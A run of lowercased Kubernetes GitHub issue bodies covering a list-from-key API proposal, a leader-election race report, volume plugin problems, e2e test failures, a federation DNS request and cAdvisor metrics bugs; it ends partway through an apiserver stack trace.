  \r @lavalamp @deads2k do you think this feature request needs a kep, or can we view it as completing https://github.com/kubernetes/community/pull/896?\r \r    motivation\r \r kubernetes supports api chunking on list requests. it allows a large list response to be broken into smaller, consistent partial responses. consistency here means that all the partial responses is for a single resource version. however, apiservers instruct etcd to delete old versions every  5 minutes  https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apiserver/pkg/storage/storagebackend/config.go l31 , so if a client cannot complete all the chunks in 5 minutes, the late requests will fail with “resource version too old” error.\r \r as listed in the api chunking  proposal  https://github.com/kubernetes/community/pull/896/files , some clients care more about getting a lexically complete list than getting a consistent list. that is, when a “resource version too old” error happens, the client wants to continue the list from the next key  in kubernetes case, keys are lexically ordered , with the latest resource version. such clients include  kubectl get  and migration style commands  e.g., those rewrite data in etcd from json to proto; or convert the kubernetes api version of the data in etcd .\r \r    proposal\r adding a  beginningname  and a  beginningnamespace  to the listoptions. they can be used with or without chunking.\r \r    golang\r listoptions {\r \t…\r \tbeginningnamespace string\r \tbeginningname string\r }\r    \r \r let's walk through a few cases:\r    \r 1. path: /api/v1/pods\r \r listoptions {\r \t// required, i.e., cannot be “”.\r \tbeginningnamespace: “staging”,\r \t// required\r \tbeginningname: “a”,\r }\r \r results: apiserver starts listing pods whose key in etcd is lexically greater than “staging/a”\r \r \r 2. path: /api/v1/namespaces/{namespace}/pods\r \r listoptions {\r \t// required, must match the namespace in the path.\r \tbeginningnamespace: “staging”,\r \t// required\r \tbeginningname: “a”,\r }\r \r results: apiserver starts listing pods whose key in etcd is prefixed with “staging/” and lexically greater than “staging/a”.\r \r 3. path: /api/v1/nodes  nodes are cluster-scoped :\r \r listoptions {\r \t// must be “”\r \tbeginningnamespace: “”,\r \t// required\r \tbeginningname: “a”,\r }\r \r results: apiserver starts listing nodes whose key in etcd is lexically greater than “a”\r \r 4. path: n/a\r \r listoptions: {\r \tlimit: 50,\r \tcontinue: “some_value”, \r \t// must be empty\r \tbeginningnamespace: “”,\r \t// must be empty\r \tbeginningname: “”,\r }\r \r results: apiserver behaves the same as it currently does, sending back results based on the continue token.\r \r 5. path: n/a\r \r listoptions: {\r \tlimit: 50\r \tcontinue: “”, \r \tbeginningnamespace: “staging”,\r \tbeginningname: “a”,\r }\r \r results: apiserver returns no more than 50 elements whose etcd key is lexically greater than “staging/a”. \r if there are more elements, apiserver sends back a continue token. to continue the consistent chunking, the client should continue with\r \r listoptions: {\r \tlimit: 50\r \tcontinue: <token sent back by the apiserver>, \r \t// must be empty\t\r \tbeginningnamespace: “”,\r \t// must be empty\r \tbeginningname: “”,\r }\r    \r \r    security implications\r currently kubernetes supports two kind of list access control:\r 1. giving a user permissions to list a resource in all namespaces\r 2. giving a user permissions to list a resource in specific namespaces\r \r for 1, the user already has the highest possible permission.\r for 2, because “beginningnamespace” must match the namespace in path, the “list from a key” feature doesn’t break today’s security model.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r \r  \r \r   what happened  :\r \r i wrote this test case and ran it in my local environment:\r \r  it runs 10k+ candidates at the same time, and makes them request for leadership concurrently. and the request receiver will record every leader term. finally we'll check if the leader terms have overlapping record which proves that more than one leaders can exist at the same time. \r \r  https://gist.github.com/yue9944882/033c34992794714e41167ef02498c4db  https://gist.github.com/yue9944882/033c34992794714e41167ef02498c4db \r \r it proves that at the extreme cases, the leaderelection pkg doesn't working correctly as expected. \r \r    \r e0821 18:48:11.205615   67982 leaderelection.go:286  failed to update lock: force leader noxu-4966 change\r \r e0821 18:48:12.767307   67982 leaderelection.go:286  failed to update lock: force leader noxu-96002 change\r \r e0821 18:48:12.932715   67982 leaderelection.go:286  failed to update lock: force leader noxu-96002 change\r \r e0821 18:48:16.751750   67982 leaderelection.go:286  failed to update lock: force leader noxu-96398 change\r \r e0821 18:48:18.920938   67982 leaderelection.go:286  failed to update lock: force leader noxu-13560 change\r \r e0821 18:48:19.447660   67982 leaderelection.go:286  failed to update lock: force leader noxu-13560 change\r \tleaderelection_test.go:418: total: 13\r \tleaderelection_test.go:424: 2018-08-21 18:47:49 +0800 cst noxu-101  to 2018-08-21 18:47:51 +0800 cst noxu-101 \r \tleaderelection_test.go:424: 2018-08-21 18:47:51 +0800 cst noxu-500  to 2018-08-21 18:47:54 +0800 cst noxu-500 \r \tleaderelection_test.go:424: 2018-08-21 18:47:54 +0800 cst noxu-39971  to 2018-08-21 18:47:56 +0800 cst noxu-39971 \r \tleaderelection_test.go:424: 2018-08-21 18:47:56 +0800 cst noxu-37287  to 2018-08-21 18:47:58 +0800 cst noxu-37287 \r \tleaderelection_test.go:424: 2018-08-21 18:47:58 +0800 cst noxu-40795  to 2018-08-21 18:48:03 +0800 cst noxu-40795 \r \tleaderelection_test.go:424: 2018-08-21 18:48:03 +0800 cst noxu-47712  to 2018-08-21 18:48:05 +0800 cst noxu-47712 \r \tleaderelection_test.go:421:  dirty record : \r \tleaderelection_test.go:424: 2018-08-21 18:48:05 +0800 cst noxu-45996  to 2018-08-21 18:48:05 +0800 cst noxu-45996 \r \tleaderelection_test.go:424: 2018-08-21 18:48:05 +0800 cst noxu-11900  to 2018-08-21 18:48:09 +0800 cst noxu-11900 \r \tleaderelection_test.go:424: 2018-08-21 18:48:09 +0800 cst noxu-4966  to 2018-08-21 18:48:11 +0800 cst noxu-4966 \r \tleaderelection_test.go:424: 2018-08-21 18:48:11 +0800 cst noxu-96002  to 2018-08-21 18:48:13 +0800 cst noxu-96002 \r \tleaderelection_test.go:424: 2018-08-21 18:48:13 +0800 cst noxu-19522  to 2018-08-21 18:48:15 +0800 cst noxu-19522 \r \tleaderelection_test.go:424: 2018-08-21 18:48:15 +0800 cst noxu-96398  to 2018-08-21 18:48:18 +0800 cst noxu-96398 \r fail\r    \r \r   what you expected to happen  :\r \r it works safely.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run the case.\r \r   anything else we need to know?  :\r \r my local environment  mbp  is 16gb, corei7. works pretty well.

i get this in the logs      e0522 18:52:10.847389    3798 volumes.go:149  could not create volume builder for pod 470316ba-204a-11e6-b36b-d8d385e5ed3e: can't use volume plugins for worker-data: no volume plugin matched e0522 18:52:10.847446    3798 kubelet.go:1672  unable to mount volumes for pod \ worker-... 470316ba-204a-11e6-b36b-d8d385e5ed3e \ : can't use volume plugins for worker-data: no volume plugin matched; skipping pod e0522 18:52:10.847459    3798 pod_workers.go:129  error syncing pod 470316ba-204a-11e6-b36b-d8d385e5ed3e, skipping: can't use volume plugins for worker-data: no volume plugin matched      and in my controller i have            volumes:     - name: worker-data           glusterfs:             endpoints: glusterfs-worker             path: worker             readonly: true      what could be the issue with this ? i can manually mount the glusterfs volumes on the nodes, but not in the pods

emptydir works great to pass data between containers in a pod. its better then using a hostpath as it is self cleaning and isolated to only those containers that need it.  in the same way, there is a need for something like a deamonset to provide services that can be shared between multiple pods living on a single machine, but don't need to talk to anything else. so using a hostpath for this works too, but suffers similar issues, or a shared volume takes an unneeded performance hit. it would be nice to have a new emptydir type volume that is named with a namespace level entry so it can be referenced in multiple pods in the same namespace, but otherwise behaves like emptydir.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke/14049/  failed:  k8s.io  kibana logging instances is alive should check that the kibana logging instance is alive {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:131 expected error:     < errors.statuserror | 0xc820a80c80>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ an error on the server has prevented the request from succeeding  get serviceaccounts \ ,             reason: \ internalerror\ ,             details: {                 name: \ \ ,                 group: \ \ ,                 kind: \ serviceaccounts\ ,                 causes:                       {                         type: \ unexpectedserverresponse\ ,                         message: \ internal server error: \\\ /api/v1/watch/namespaces/e2e-tests-kibana-logging-80hq2/serviceaccounts?fieldselector=metadata.name%3ddefault\\\ \ ,                         field: \ \ ,                     },                  ,                 retryafterseconds: 0,             },             code: 500,         },     }     an error on the server has prevented the request from succeeding  get serviceaccounts  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:220

what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : - custom federation dns provider  - custom federated dns provider  - federation no dns provider - federated no dns provider  ---    is this a bug report or feature request?    choose one : feature request  it would be really useful to be able to run a completely private federated kubernetes cluster without having to rely on a cloud dns provider. we currently have internal dns already in place and therefore don't need a dns cloud provider.    kubernetes version    use  kubectl version  :      client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.7\ , gitcommit:\ a2cba278cba1f6881bb0a7704d9cac6fca6ed435\ , gittreestate:\ clean\ , builddate:\ 2016-09-12t23:15:30z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.7\ , gitcommit:\ a2cba278cba1f6881bb0a7704d9cac6fca6ed435\ , gittreestate:\ clean\ , builddate:\ 2016-09-12t23:08:43z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }        environment  : -   cloud provider or hardware configuration  : our own bare metal installation. managed with puppet. -   os    e.g. from /etc/os-release :      pretty_name=\ debian gnu/linux 8  jessie \  name=\ debian gnu/linux\  version_id=\ 8\  version=\ 8  jessie \  id=debian home_url=\ http://www.debian.org/\  support_url=\ http://www.debian.org/support\  bug_report_url=\ https://bugs.debian.org/\      -   kernel    e.g.  uname -a  :  linux kube-master-a.lab 3.16.0-4-amd64  1 smp debian 3.16.7-ckt25-2  2016-04-08  x86_64 gnu/linux  -   install tools  : just docker, kubernetes binaries from the releases page and some hand written systemd service files. -   others  :    what happened  : when you start up the federation-controller-manager inside a kubernetes cluster, the logs show the following:      $ kubectl --namespace=federation logs federation-controller-manager-328475866-0k651 i0920 11:52:15.328411       1 controllermanager.go:74  v1.3.7 i0920 11:52:15.468626       1 plugins.go:82  no dns provider specified. e0920 11:52:15.481563       1 controllermanager.go:128  failed to start service controller: servicecontroller should not be run without a dnsprovider.      upon further inspection, it appears you _have_ to pass in the  --dns-provider  option, with the only 2 valid options being  google-clouddns  or  aws-route53 .     what you expected to happen  : i was hoping to be able to use something other than  google-clouddns  or  aws-route53 . we currently already have an internal dns infrastructure in place. it would even be good if the federated dns could somehow be handled entirely within the kubernetes cluster  possibly an extra  kube-dns  pod that runs in the federation namespace hence knowing about all the other clusters?     how to reproduce it    as minimally and precisely as possible : start up the  federation-controller-manager  without passing the --dns-provider option.

atm i need to use a configmap to add files to my fake volumes, for example:      apiversion: v1 kind: configmap data:   process.yaml: |     init_config:  ... and later ...        volumes:         - name: configfiles           configmap:             name: datadog      this is a bit awkward since the reader has to jump back and forth, but also adds a separate model that needs to be managed / makes the deployment not be atomic  revert without updating configmap -> boom  ... so ideally it be possible to do this configuration inline:            volumes:         - name: configfiles           data:             process.yaml: |               init_config:

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->    is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :    what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  ---    is this a bug report or feature request?    choose one :  bug report  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version    use  kubectl version  : v1.4.0    environment  : -   cloud provider or hardware configuration  :  vm  -   os    e.g. from /etc/os-release : ubuntu 14.04.5 lts -   kernel    e.g.  uname -a  : linux ubuntu 3.13.0-96-generic  143-ubuntu smp mon aug 29 20:15:20 utc 2016 x86_64 x86_64 x86_64 gnu/linux -   install tools  :   -   others  :    what happened  : when run  kubernetes_provider=ubuntu ./kube-up.sh  , it should report  missing  saltbase.  after corrected this, run kube-up.sh once again, it deploye kubernets to the nodes, but report   > /bin/bash: line 7: /root/kube/make-ca-cert.sh: permission denied    what you expect1ed to happen  :    how to reproduce it    as minimally and precisely as possible : 1. install a fresh ubuntu 14 2. download  kubernets v1.4.0 3. expande kuernets files into /opt/ 4. modify  /opt/kubernetes/cluster/ubuntu/config-default.sh,  change nodes to only one, as   export nodes=${nodes:-\ root@127.0.0.1\ }      roles=${roles:-\ ai\ }     and   export  num_nodes=${num_nodes:-1}  5.  copy the missing saltbase into  /opt/kubernetes/cluster 6.  run    kubernetes_provider=ubuntu ./kube-up.sh  , it should deploy files into nodes, but report make-ca-cert.sh error.    anything else do we need to know  :

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r currently, the e2e framework for automated upgrade testing doesn't support specifying a node or master image.  nodeupgradegce  and  masterupgradegce  should be changed to accept an image parameter and it should be plumbed through appropriately.\r \r

_feature request_\r \r custom controllers can be implemented on top of tprs  e.g.  prometheus-operator  https://github.com/coreos/prometheus-operator  and  etcd-operator  https://github.com/coreos/etcd-operator . \r in our custom resources we still want to provide a  status  field which is updated by the controller, to inform about the current status of whatever is being managed by the tpr's controller. this can currently not be done safely  to my knowledge  as users may accidentally modify the status section of a tpr to an inconsistent state as it is part of the main resource json.\r \r ideally there would be an option to have sub-resources in tprs  just like deployments, statefulsets, etc. have  which is modified independently through its own api endpoint.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one : bug ?\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r \r   environment  :\r -   cloud provider or hardware configuration  : azure\r -   os    e.g. from /etc/os-release : windows agents\r \r   what happened  :\r using acs on azure, i created a cluster with windows agents. now i tried to add shared storage with azurefile but it never seems to work, i barely find information concerning this aswell. when i describe the pod it always gives unknown for sharename.\r \r ! capture  https://cloud.githubusercontent.com/assets/24568583/23647440/225cbfb0-0316-11e7-8801-01a528034644.png \r \r \r   what you expected to happen  :\r it should've just connected the share, i followed the template from  github  https://github.com/kubernetes/kubernetes/tree/master/examples/volumes/azure_file  for this \r \r   how to reproduce it    as minimally and precisely as possible :\r make a windows cluster using acs, trying to deploy using azurefile volume.\r \r   anything else we need to know  :\r this is my deployment yaml file. \r ! capture3  https://cloud.githubusercontent.com/assets/24568583/23647584/ddbdccfe-0316-11e7-9ba9-ce846aba4a81.png \r \r and this is my share structure\r ! capture2  https://cloud.githubusercontent.com/assets/24568583/23647596/ebebf5d0-0316-11e7-87a6-422b4fec1997.png \r \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet-serial/527/ failed:  k8s.io  memoryeviction  slow   serial   disruptive    when there is memory pressure should evict pods in the correct order  besteffort first, then burstable, then guaranteed  {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/memory_eviction_test.go:234 expected error:     < errors.errorstring | 0xc42013f610>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:83

 \r   what happened  :\r \r after updating the elasticsearch container in the fluentd-elasticsearch addon to use version 5.4.0-1, the following error occurs:\r \r    \r kubectl -n monitoring logs elasticsearch-logging-713280597-2l0ct\r sysctl: error setting key 'vm.max_map_count': read-only file system\r    \r \r i believe this is caused by  this line  https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/fluentd-elasticsearch/es-image/run.sh l17 , which was introduced in the latest commit. it appears that this happens because /sys is mounted read-only in containers. however, it does seem to be important to running elasticsearch  see https://www.elastic.co/guide/en/elasticsearch/reference/current/vm-max-map-count.html .\r \r   what you expected to happen  :\r \r elasticsearch to start normally.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r modify the container version in https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/fluentd-elasticsearch/es-controller.yaml to be 5.4.0-1 and install the addon.\r \r   environment  :\r \r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:23:22z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:08:00z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r issue occurs on kubernetes running on ubuntu xenial virtualbox vms.

 \r   what happened  :\r all cadvisor container_fs_  stats are 0, except a few without pod/image labels which i assume are for the root cgroup:\r    \r \r container_fs_inodes_free{beta_kubernetes_io_arch=\ amd64\ ,beta_kubernetes_io_fluentd_ds_ready=\ true\ ,beta_kubernetes_io_instance_type=\ g1-small\ ,beta_kubernetes_io_os=\ linux\ ,cloud_google_com_gke_nodepool=\ pool-small\ ,container_name=\ prometheus-to-sd-exporter\ ,device=\ /dev/sda1\ ,failure_domain_beta_kubernetes_io_region=\ us-east1\ ,failure_domain_beta_kubernetes_io_zone=\ us-east1-c\ ,id=\ /kubepods/burstable/pode93369ea-c40b-11e7-bff5-42010af0018b/3f76690535157c729524b48dbaab3f1788d680ad5d859768dc06c05e9ccd5610\ ,image=\ asia.gcr.io/google-containers/prometheus-to-sd@sha256:c6aaa681e77e55aa7f7017ca55265accde313f8e2e5484ee1d0a4d89ff741c48\ ,instance=\ gke-latency-at-pool-small-3338bda2-3c8g\ ,job=\ kubernetes-cadvisor\ ,kubernetes_io_hostname=\ gke-latency-at-pool-small-3338bda2-3c8g\ ,name=\ k8s_prometheus-to-sd-exporter_fluentd-gcp-v2.0.9-h7tl7_kube-system_e93369ea-c40b-11e7-bff5-42010af0018b_0\ ,namespace=\ kube-system\ ,pod_name=\ fluentd-gcp-v2.0.9-h7tl7\ } | 0\r container_fs_inodes_free{beta_kubernetes_io_arch=\ amd64\ ,beta_kubernetes_io_fluentd_ds_ready=\ true\ ,beta_kubernetes_io_instance_type=\ g1-small\ ,beta_kubernetes_io_os=\ linux\ ,cloud_google_com_gke_nodepool=\ pool-small\ ,container_name=\ prometheus-to-sd-exporter\ ,device=\ /dev/sda1\ ,failure_domain_beta_kubernetes_io_region=\ us-east1\ ,failure_domain_beta_kubernetes_io_zone=\ us-east1-c\ ,id=\ /kubepods/burstable/podfc87c089-c3dd-11e7-bff5-42010af0018b/9f3cdcf5306a7a42fd88f8bbe690a15d964010eebcd3cd681d40f785a3dd8107\ ,image=\ asia.gcr.io/google-containers/prometheus-to-sd@sha256:c6aaa681e77e55aa7f7017ca55265accde313f8e2e5484ee1d0a4d89ff741c48\ ,instance=\ gke-latency-at-pool-small-3338bda2-2cg2\ ,job=\ kubernetes-cadvisor\ ,kubernetes_io_hostname=\ gke-latency-at-pool-small-3338bda2-2cg2\ ,name=\ k8s_prometheus-to-sd-exporter_fluentd-gcp-v2.0.9-jb7ll_kube-system_fc87c089-c3dd-11e7-bff5-42010af0018b_0\ ,namespace=\ kube-system\ ,pod_name=\ fluentd-gcp-v2.0.9-jb7ll\ } | 0\r container_fs_inodes_free{beta_kubernetes_io_arch=\ amd64\ ,beta_kubernetes_io_fluentd_ds_ready=\ true\ ,beta_kubernetes_io_instance_type=\ g1-small\ ,beta_kubernetes_io_os=\ linux\ ,cloud_google_com_gke_nodepool=\ pool-small\ ,container_name=\ sidecar\ ,device=\ /dev/sda1\ ,failure_domain_beta_kubernetes_io_region=\ us-east1\ ,failure_domain_beta_kubernetes_io_zone=\ us-east1-c\ ,id=\ /kubepods/burstable/poddee71937-c472-11e7-bff5-42010af0018b/0584c59990c2bd3efe011f4bf5d755659567b3abb2c1a42c7ef49c7b11a69a3a\ ,image=\ asia.gcr.io/google_containers/k8s-dns-sidecar-amd64@sha256:9aab42bf6a2a068b797fe7d91a5d8d915b10dbbc3d6f2b10492848debfba6044\ ,instance=\ gke-latency-at-pool-small-3338bda2-3c8g\ ,job=\ kubernetes-cadvisor\ ,kubernetes_io_hostname=\ gke-latency-at-pool-small-3338bda2-3c8g\ ,name=\ k8s_sidecar_kube-dns-4031738344-k8dfb_kube-system_dee71937-c472-11e7-bff5-42010af0018b_0\ ,namespace=\ kube-system\ ,pod_name=\ kube-dns-4031738344-k8dfb\ } | 0\r container_fs_inodes_free{beta_kubernetes_io_arch=\ amd64\ ,beta_kubernetes_io_fluentd_ds_ready=\ true\ ,beta_kubernetes_io_instance_type=\ g1-small\ ,beta_kubernetes_io_os=\ linux\ ,cloud_google_com_gke_nodepool=\ pool-small\ ,container_name=\ tiller\ ,device=\ /dev/sda1\ ,failure_domain_beta_kubernetes_io_region=\ us-east1\ ,failure_domain_beta_kubernetes_io_zone=\ us-east1-c\ ,id=\ /kubepods/besteffort/pod13ca351f-c484-11e7-bff5-42010af0018b/1315c8d1d2ada471cd0d4636f21766499feb5c66b558425adbf0cf19ec416865\ ,image=\ gcr.io/kubernetes-helm/tiller@sha256:82677f561f8dd67b6095fe7b9646e6913ee99e1d6fdf86705adbf99a69a7d744\ ,instance=\ gke-latency-at-pool-small-3338bda2-3c8g\ ,job=\ kubernetes-cadvisor\ ,kubernetes_io_hostname=\ gke-latency-at-pool-small-3338bda2-3c8g\ ,name=\ k8s_tiller_tiller-deploy-3066893457-jcwwg_kube-system_13ca351f-c484-11e7-bff5-42010af0018b_0\ ,namespace=\ kube-system\ ,pod_name=\ tiller-deploy-3066893457-jcwwg\ } | 0\r container_fs_inodes_free{beta_kubernetes_io_arch=\ amd64\ ,beta_kubernetes_io_fluentd_ds_ready=\ true\ ,beta_kubernetes_io_instance_type=\ g1-small\ ,beta_kubernetes_io_os=\ linux\ ,cloud_google_com_gke_nodepool=\ small-preemptible\ ,cloud_google_com_gke_preemptible=\ true\ ,container_name=\ \ ,device=\ /dev/root\ ,failure_domain_beta_kubernetes_io_region=\ us-east1\ ,failure_domain_beta_kubernetes_io_zone=\ us-east1-c\ ,id=\ /\ ,image=\ \ ,instance=\ gke-latency-at-small-preemptible-0c981b61-1x4z\ ,job=\ kubernetes-cadvisor\ ,kubernetes_io_hostname=\ gke-latency-at-small-preemptible-0c981b61-1x4z\ ,name=\ \ ,namespace=\ \ ,pod_name=\ \ } | 66386\r container_fs_inodes_free{beta_kubernetes_io_arch=\ amd64\ ,beta_kubernetes_io_fluentd_ds_ready=\ true\ ,beta_kubernetes_io_instance_type=\ g1-small\ ,beta_kubernetes_io_os=\ linux\ ,cloud_google_com_gke_nodepool=\ small-preemptible\ ,cloud_google_com_gke_preemptible=\ true\ ,container_name=\ \ ,device=\ /dev/root\ ,failure_domain_beta_kubernetes_io_region=\ us-east1\ ,failure_domain_beta_kubernetes_io_zone=\ us-east1-c\ ,id=\ /\ ,image=\ \ ,instance=\ gke-latency-at-small-preemptible-0c981b61-9489\ ,job=\ kubernetes-cadvisor\ ,kubernetes_io_hostname=\ gke-latency-at-small-preemptible-0c981b61-9489\ ,name=\ \ ,namespace=\ \ ,pod_name=\ \ } | 66386\r container_fs_inodes_free{beta_kubernetes_io_arch=\ amd64\ ,beta_kubernetes_io_fluentd_ds_ready=\ true\ ,beta_kubernetes_io_instance_type=\ g1-small\ ,beta_kubernetes_io_os=\ linux\ ,cloud_google_com_gke_nodepool=\ small-preemptible\ ,cloud_google_com_gke_preemptible=\ true\ ,container_name=\ \ ,device=\ /dev/root\ ,failure_domain_beta_kubernetes_io_region=\ us-east1\ ,failure_domain_beta_kubernetes_io_zone=\ us-east1-c\ ,id=\ /\ ,image=\ \ ,instance=\ gke-latency-at-small-preemptible-0c981b61-99zh\ ,job=\ kubernetes-cadvisor\ ,kubernetes_io_hostname=\ gke-latency-at-small-preemptible-0c981b61-99zh\ ,name=\ \ ,namespace=\ \ ,pod_name=\ \ } | 66386\r \r    \r \r   what you expected to happen  :\r have these stats return right values..\r \r   how to reproduce it  as minimally and precisely as possible   :\r as far as i can tell, this should happen on a fresh install too.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.1\r - cloud provider or hardware configuration: gke\r

is this a bug report or feature request?  :\r  / \r   what happened  :\r https://k8s-testgrid.appspot.com/sig-network-gce gci-gce-latest-upgrade-kube-proxy-ds&width=20 started failing since 11/13/2017. <s>according to the timestamp and commit hash, seems failures happened after https://github.com/kubernetes/kubernetes/pull/55457  cherrypick for release-1.8  merged.</s>\r \r the first failed run is: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-latest-upgrade-kube-proxy-ds/1691\r \r from  kube-apiserver logs  https://storage.googleapis.com/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-latest-upgrade-kube-proxy-ds/1691/artifacts/bootstrap-e2e-master/kube-apiserver.log  found lots of stacktraces, which seems suspicious. sample error below:\r    \r i1114 03:06:28.518192       5 wrap.go:42  get /healthz:  641.99âµs  500\r goroutine 1701  running :\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog.  resplogger .recordstatus 0xc422691340, 0x1f4 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog/httplog.go:207 +0xdd\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog.  resplogger .writeheader 0xc422691340, 0x1f4 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog/httplog.go:186 +0x35\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  basetimeoutwriter .writeheader 0xc42aa74a00, 0x1f4 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:188 +0xac\r net/http.error 0x7f85bd73d5f0, 0xc429b52988, 0xc42aa8c000, 0x302, 0x1f4 \r \t/usr/local/go/src/net/http/server.go:1930 +0xda\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/healthz.handleroothealthz.func1 0x7f85bd73d5f0, 0xc429b52988, 0xc42aa69100 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/healthz/healthz.go:121 +0x508\r net/http.handlerfunc.servehttp 0xc427b61d20, 0x7f85bd73d5f0, 0xc429b52988, 0xc42aa69100 \r \t/usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathhandler .servehttp 0xc429d97700, 0x7f85bd73d5f0, 0xc429b52988, 0xc42aa69100 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:241 +0x55a\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathrecordermux .servehttp 0xc422753030, 0x7f85bd73d5f0, 0xc429b52988, 0xc42aa69100 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:234 +0xa1\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x3915c88, 0xf, 0xc4216be240, 0xc422753030, 0x7f85bd73d5f0, 0xc429b52988, 0xc42aa69100 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:161 +0x6ad\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  director .servehttp 0xc42505dae0, 0x7f85bd73d5f0, 0xc429b52988, 0xc42aa69100 \r \t<autogenerated>:1 +0x75\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthorization.func1 0x7f85bd73d5f0, 0xc429b52988, 0xc42aa69100 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authorization.go:51 +0x37d\r net/http.handlerfunc.servehttp 0xc42549c280, 0x7f85bd73d5f0, 0xc429b52988, 0xc42aa69100 \r \t/usr/local/go/src/net/http/server.go:1918 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withmaxinflightlimit.func1 0x7f85bd73d5f0, 0xc429b52988, 0xc42aa69100 \r 